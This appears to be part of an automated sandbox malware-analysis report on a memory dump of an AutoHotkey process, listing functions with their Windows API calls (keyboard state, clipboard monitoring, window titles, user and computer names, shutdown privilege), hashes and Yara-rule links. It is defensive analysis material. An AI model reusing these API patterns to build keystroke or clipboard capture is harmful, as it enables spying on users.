Instruction Fuzzy Hash: A431C531640301ABE3309B14EC85BEB77A8EF85764F04862EFD59D72D0E778D9058799

Uniqueness

Uniqueness Score: -1.00%

Function 0045E220 Relevance: 12.3, APIs: 8, Instructions: 317comfileCOMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 0045E308
_wcschr.LIBCMT ref: 0045E31A
GetFileAttributesW.KERNEL32(?), ref: 0045E32A
FindFirstFileW.KERNEL32(?,?), ref: 0045E346
FindClose.KERNEL32(00000000), ref: 0045E356
CoInitialize.OLE32(00000000), ref: 0045E35E
CoCreateInstance.OLE32(004AD820,00000000,00000001,004AD810,?), ref: 0045E377
CoUninitialize.OLE32 ref: 0045E53B

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: FileFind_wcschr$AttributesCloseCreateFirstInitializeInstanceUninitialize
String ID:
API String ID: 1700229770-0
Opcode ID: f5bb9c38b76af4fe31923416cf5a405901a0ddc251aa89f15f49a7819017bbc3
Instruction ID: 7d5700b65d5c0b3cc94dbbdebec1410630750c4ef42ded1b91404ece2eaad69e
Opcode Fuzzy Hash: f5bb9c38b76af4fe31923416cf5a405901a0ddc251aa89f15f49a7819017bbc3
Instruction Fuzzy Hash: 7BB1E0713043006BD718EF55CC81FAB73A9ABC9B19F00861EF9558B2D1DB78ED09879A

Uniqueness

Uniqueness Score: -1.00%

Function 0045F410 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 0045F41A
OpenProcessToken.ADVAPI32(00000000), ref: 0045F421
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 0045F43D
AdjustTokenPrivileges.ADVAPI32 ref: 0045F465
GetLastError.KERNEL32 ref: 0045F46B
ExitWindowsEx.USER32(?,00000000), ref: 0045F47B

Strings

SeShutdownPrivilege, xrefs: 0045F436

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 107509674-3733053543
Opcode ID: 7325f94feda420dc9bf7e593d62788ec1114a17b55cf0063d1295077bd0826a0
Instruction ID: 6675aea9d9ebac214b47ffede83cc177252c8111554ece7bb8f4feaeee849d7b
Opcode Fuzzy Hash: 7325f94feda420dc9bf7e593d62788ec1114a17b55cf0063d1295077bd0826a0
Instruction Fuzzy Hash: 30F04FB5644300AFE300AF64DC4AFAB7BA8FB85B05F404468FA46D5191D7B8D8099B6A

Uniqueness

Uniqueness Score: -1.00%

Function 00411570 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 245COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00411587
_wcsncpy.LIBCMT ref: 00411731
_wcsncpy.LIBCMT ref: 004117AB
_wcsncpy.LIBCMT ref: 004117DD

Strings

& , xrefs: 0041170E, 00411738
Up, xrefs: 004117EF

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _wcsncpy$_memset
String ID: & $ Up
API String ID: 4291556967-3258026345
Opcode ID: 132984998aa353e6f24a1ded7884127514923fc392c6c53478ce405fbc71a4b1
Instruction ID: 39c92a6117fff7296a6b5c55d34b8bb0700b655a3fe0fa7ed7a4441e8d16f0fa
Opcode Fuzzy Hash: 132984998aa353e6f24a1ded7884127514923fc392c6c53478ce405fbc71a4b1
Instruction Fuzzy Hash: 0181D1316042418BDB259B2485A17FB7B91AF52304F1C405FDAD68B3A2E72F8CC9D39A

Uniqueness

Uniqueness Score: -1.00%

Function 004191F0 Relevance: 10.6, APIs: 7, Instructions: 102keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardLayout.USER32(00000000), ref: 004191F9
_memset.LIBCMT ref: 00419222
ToUnicodeEx.USER32(0000006E,00000000,?,?,00000002,00000000,00000000), ref: 00419243
ToUnicodeEx.USER32(?,00000000,?,?,00000002,00000000,00000000), ref: 00419269
ToUnicodeEx.USER32(0000006E,00000000,?,?,00000002,00000000,00000000), ref: 00419286
ToUnicodeEx.USER32(?,00000000,?,?,00000002,00000000,00000000), ref: 004192CA
MapVirtualKeyExW.USER32(?,00000002,00000000), ref: 004192F3

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Unicode$KeyboardLayoutVirtual_memset
String ID:
API String ID: 2910491412-0
Opcode ID: 5d553f8b48b261617fa6d631b5d9c2d1c2f6a7052819887c38918d14c7b5c5e8
Instruction ID: 04a7192e99da979fc19f9f86cdeb18db5ea9b4ed2cfc78fc0bb99be91a63fe8e
Opcode Fuzzy Hash: 5d553f8b48b261617fa6d631b5d9c2d1c2f6a7052819887c38918d14c7b5c5e8
Instruction Fuzzy Hash: 3E3104725483057BD320DB51CC56FFB7BE8AB85B04F404C1DF6859A0C1E2B5AA08C7AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040D6C0 Relevance: 9.6, APIs: 3, Strings: 2, Instructions: 842COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040D779
_memset.LIBCMT ref: 0040D79B
_memset.LIBCMT ref: 0040D7AD

Part of subcall function 0040E4F0: CreateThread.KERNEL32(00000000,00002000,0040E820,00000000,00000000,004D860C), ref: 0040E54A
Part of subcall function 0040E4F0: SetThreadPriority.KERNEL32(00000000,0000000F,?,00408D82,00000000,004089D8,An internal error has occurred in the debugger engine.Continue running the script without the debugger?,?,00000000,0040635D,?), ref: 0040E560
Part of subcall function 0040E4F0: PostThreadMessageW.USER32(00000000,00000417,0040635D,00000000), ref: 0040E584
Part of subcall function 0040E4F0: Sleep.KERNEL32(0000000A,?,00408D82,00000000,004089D8,An internal error has occurred in the debugger engine.Continue running the script without the debugger?,?,00000000,0040635D,?), ref: 0040E590
Part of subcall function 0040E4F0: GetTickCount.KERNEL32 ref: 0040E5A7
Part of subcall function 0040E4F0: PeekMessageW.USER32(?,00000000,00000417,00000417,00000001), ref: 0040E5CA

Strings

DlM, xrefs: 0040D94E
[M, xrefs: 0040D838

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Thread$Message_memset$CountCreatePeekPostPrioritySleepTick_malloc
String ID: [M$DlM
API String ID: 2797994793-220038877
Opcode ID: bfb5dc21c32668fc0c1379dbbe2934d5629fa9275b4532502e644762aab57110
Instruction ID: 7b406a6828f4e89809213e99691254d5450b9e791c58cd8a2256100b45d539f4
Opcode Fuzzy Hash: bfb5dc21c32668fc0c1379dbbe2934d5629fa9275b4532502e644762aab57110
Instruction Fuzzy Hash: BB8226309083818EE725CF24C4547B6BBE0AF55308F0885BFD8895B3D2D7BDA959C79A

Uniqueness

Uniqueness Score: -1.00%

Function 00418140 Relevance: 7.6, APIs: 5, Instructions: 84keyboardthreadCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000000), ref: 0041814B
GetKeyState.USER32(00000000), ref: 0041817A
GetForegroundWindow.USER32(00000000), ref: 004181B4
GetWindowThreadProcessId.USER32(00000000), ref: 004181BB
GetKeyState.USER32(00000014), ref: 004181FE

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: State$Window$ForegroundProcessThread
String ID:
API String ID: 2921243749-0
Opcode ID: 68beabe2cb7879e7e19e99771c65c9ce90a0ffa2127e02a46bed2ff58b2cd8d1
Instruction ID: e4c97c33c2614dd2ddea619502ac656e20e26d5b986010cca5319a41639dd594
Opcode Fuzzy Hash: 68beabe2cb7879e7e19e99771c65c9ce90a0ffa2127e02a46bed2ff58b2cd8d1
Instruction Fuzzy Hash: DA213B72A8071835EA307704AC46FEA77555711B48F25011BF6483A2E2DAE5288586BE

Uniqueness

Uniqueness Score: -1.00%

Function 004A1856 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004A7B9E
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004A7BB3
UnhandledExceptionFilter.KERNEL32(004AF894), ref: 004A7BBE
GetCurrentProcess.KERNEL32(C0000409), ref: 004A7BDA
TerminateProcess.KERNEL32(00000000), ref: 004A7BE1

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 972a0c71bbef8eb281f1c355bedf6d8da6fa94e0f6dcddbe82cf2e05f5e95e8f
Instruction ID: d0ab9e3a606b9ffa2e6626f6de4c754e2a7cfe52b7389065873ed29831386083
Opcode Fuzzy Hash: 972a0c71bbef8eb281f1c355bedf6d8da6fa94e0f6dcddbe82cf2e05f5e95e8f
Instruction Fuzzy Hash: 7721EBB880A2049FCB20DF28EC856087BA4FB59304F80447FE909837A1F3B45881CF1D

Uniqueness

Uniqueness Score: -1.00%

Function 00418020 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00418058
GetForegroundWindow.USER32(?,004169A2,?,00000000), ref: 004180A4
GetWindowTextW.USER32(00000000,0000000C,00000064), ref: 004180D1

Strings

N/A, xrefs: 004180FA

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$CountForegroundTextTick
String ID: N/A
API String ID: 3416458291-2525114547
Opcode ID: 025f4445ed08e35966b1ed03e8739fea59b2925a1326a65f216d4131cf11008b
Instruction ID: 01253986ad48bb0da0d48170233c497b59cbfc29f417735a9771ee5affa97eb0
Opcode Fuzzy Hash: 025f4445ed08e35966b1ed03e8739fea59b2925a1326a65f216d4131cf11008b
Instruction Fuzzy Hash: 40319A31206201DFC718CF24E990AAABBE1EB8D310B01857FE446CB3A1DB349C42CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 0044D870 Relevance: 6.1, APIs: 4, Instructions: 113filetimeCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(004B0CF8,?), ref: 0044D89F
GetLastError.KERNEL32 ref: 0044D8AA
FindClose.KERNEL32(00000000), ref: 0044D8E9
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0044D940

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: File$FindTime$CloseErrorFirstLastLocal
String ID:
API String ID: 1380247339-0
Opcode ID: d8c953f07350e6d492d7481d5ae4296bc6a2a941ddd3899aa5fb8ebeb7312b30
Instruction ID: 72c8dd8c44dbd84428cf0feffc609ed1481b95ab264c779f8d5fa380fa7065da
Opcode Fuzzy Hash: d8c953f07350e6d492d7481d5ae4296bc6a2a941ddd3899aa5fb8ebeb7312b30
Instruction Fuzzy Hash: 273108B2A4430167E320EB54DC41FDB7798AB44725F14062BFD14E62D1DB79A94883AD

Uniqueness

Uniqueness Score: -1.00%

Function 00484030 Relevance: 6.1, APIs: 4, Instructions: 77windowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00432BAF,?,004B0CF8), ref: 0048405E
IsWindowVisible.USER32(00000000), ref: 00484078
IsIconic.USER32(00000000), ref: 00484090
ShowWindow.USER32(00000000,00000009), ref: 0048409D

Part of subcall function 004846A0: GetForegroundWindow.USER32(?,?,?,0040F31B,004D8348,004B0CF8,00000000,00000000), ref: 004846E1
Part of subcall function 004846A0: IsWindowVisible.USER32(00000000), ref: 004846F6

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$ForegroundVisible$IconicShow
String ID:
API String ID: 4166660966-0
Opcode ID: 4e80f223073adcf5a97f4acd974d2d280820098eaa66209a35bd153a755b541b
Instruction ID: 72a7a70d27a104b732ab0c7b0a969515ae819dbc46fd46077a4c61dacf5a9325
Opcode Fuzzy Hash: 4e80f223073adcf5a97f4acd974d2d280820098eaa66209a35bd153a755b541b
Instruction Fuzzy Hash: 42213021A042078EDB30BF15E80472F73E8ABD3315F10891BE649962C1E77D9CC9875A

Uniqueness

Uniqueness Score: -1.00%

Function 00405430 Relevance: 6.1, APIs: 4, Instructions: 51clipboardCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040544B
OpenClipboard.USER32(0002044A), ref: 0040545C
GetTickCount.KERNEL32 ref: 00405470
OpenClipboard.USER32(0002044A), ref: 004054AA

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ClipboardCountOpenTick
String ID:
API String ID: 420724667-0
Opcode ID: 943b752676c298d5d8ce0b57b5a37ad7194328055cc6d3ce3e93faa9a24a4fa5
Instruction ID: 5a2c79315bc2ab6014256f596f472cb258ffda3026dc413053941bdcf7d7cf30
Opcode Fuzzy Hash: 943b752676c298d5d8ce0b57b5a37ad7194328055cc6d3ce3e93faa9a24a4fa5
Instruction Fuzzy Hash: CA016D316216109BD710EB68EC84B9737A5EB9431AF148137E504E77D0CBB5DC95CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00481410 Relevance: 6.0, APIs: 4, Instructions: 41windowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(02D91808,?,00000008,?,?,?,?,?,?,00445693,80000000,80000000), ref: 0048142F
IsIconic.USER32(00000000), ref: 0048143C
GetWindowRect.USER32(00000000,?), ref: 00481450
ClientToScreen.USER32 ref: 0048146E

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$ClientForegroundIconicRectScreen
String ID:
API String ID: 4031265896-0
Opcode ID: b9fbf26461994b4e550db32b16c81a8e6f4b5799a4119792cab0ebc523d34fff
Instruction ID: a224cd14b11e912ce0245c2df537cccb2ba9ea6f2f1e9c96f45049846b52b3b3
Opcode Fuzzy Hash: b9fbf26461994b4e550db32b16c81a8e6f4b5799a4119792cab0ebc523d34fff
Instruction Fuzzy Hash: 660184315042119BC310EF18C848BAFBBE8AFC5B10F05892EF89A47221E734D80697A6

Uniqueness

Uniqueness Score: -1.00%

Function 004813B0 Relevance: 6.0, APIs: 4, Instructions: 32windowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000003,?,00000000,00415603,?), ref: 004813B4
IsIconic.USER32(00000000), ref: 004813C1
GetWindowRect.USER32(00000000,?), ref: 004813D7
ClientToScreen.USER32 ref: 004813F5

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$ClientForegroundIconicRectScreen
String ID:
API String ID: 4031265896-0
Opcode ID: 5bf3df2ddf199f19f988c6dabd3ac2d37b7a4b324b1605b0fa9779e060c440b6
Instruction ID: ef43227c77fe4244feb7071e4ee5667d709072cf0f832542b1463e6d2df38ff4
Opcode Fuzzy Hash: 5bf3df2ddf199f19f988c6dabd3ac2d37b7a4b324b1605b0fa9779e060c440b6
Instruction Fuzzy Hash: 66F06D744053129BD310EF15C844A9F7BFCAF85741F40892AF84682221E338C90B8FAE

Uniqueness

Uniqueness Score: -1.00%

Function 0041A00E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(004DB298), ref: 0041A02D
__snwprintf.LIBCMT ref: 0041A064

Strings

10.0.19045, xrefs: 0041A04E
%u.%u.%u, xrefs: 0041A047

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Version__snwprintf
String ID: %u.%u.%u$10.0.19045
API String ID: 444779968-4060445884
Opcode ID: 2547c8b2c0ac6be14802c8af9b83a103e31ee8427db8fb390e16dd48019fa92e
Instruction ID: fa22d1e846a0ef56237d6413034975d7df6a34e03eb487fd149dbe67e6c2f83b
Opcode Fuzzy Hash: 2547c8b2c0ac6be14802c8af9b83a103e31ee8427db8fb390e16dd48019fa92e
Instruction Fuzzy Hash: 3A018F71647201DFC704CF59EC85AAA3BE0E74C744B92417FE80587366C7798890ABEE

Uniqueness

Uniqueness Score: -1.00%

Function 0041E430 Relevance: 4.5, APIs: 3, Instructions: 45clipboardwindowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(0002044A,00000415,00000001,00000000), ref: 0041E474
SetClipboardViewer.USER32(0002044A), ref: 0041E487
ChangeClipboardChain.USER32(0002044A,?), ref: 0041E4C9

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Clipboard$ChainChangeMessagePostViewer
String ID:
API String ID: 1822368796-0
Opcode ID: 18ea1e5fd26aa9e1efd105072f5c381c59705bbc9ff5efda4149b90fa229d241
Instruction ID: 615a4a8381e90c97df675dd18c19a9baef449b849928be8fe3ed95bbf508b358
Opcode Fuzzy Hash: 18ea1e5fd26aa9e1efd105072f5c381c59705bbc9ff5efda4149b90fa229d241
Instruction Fuzzy Hash: D1013C74652340EBDB20DB74EC44B963BE4E745388F09452AE949873A2C3789850C75E

Uniqueness

Uniqueness Score: -1.00%

Function 0044F450 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?), ref: 0044F474
GetUserNameW.ADVAPI32(?,?), ref: 0044F485

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Name$ComputerUser
String ID:
API String ID: 4229901323-0
Opcode ID: 484acdd6b1c0c57ed577efa55293d0ceabe5b9d93c65d1706b9fa83a50fc031c
Instruction ID: 2eec10a07e1b708c8ddde2035b577e4f1299c94cc13578faf3904e75852fd6a6
Opcode Fuzzy Hash: 484acdd6b1c0c57ed577efa55293d0ceabe5b9d93c65d1706b9fa83a50fc031c
Instruction Fuzzy Hash: A1019A315082018BD724DF64C948BAB77F1FFA8300F44892DE89A87290FB7CDA08C786

Uniqueness

Uniqueness Score: -1.00%

Function 0040D3F0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e4f874815ee760f27c5a8d394161a2b9e2656fa4f507e5568db7478bd83a19f
Instruction ID: 8206dfc3c2418993cb92ddc6cedfdf08c38ab9b00d48e98c4988ffc1690278e1
Opcode Fuzzy Hash: 5e4f874815ee760f27c5a8d394161a2b9e2656fa4f507e5568db7478bd83a19f
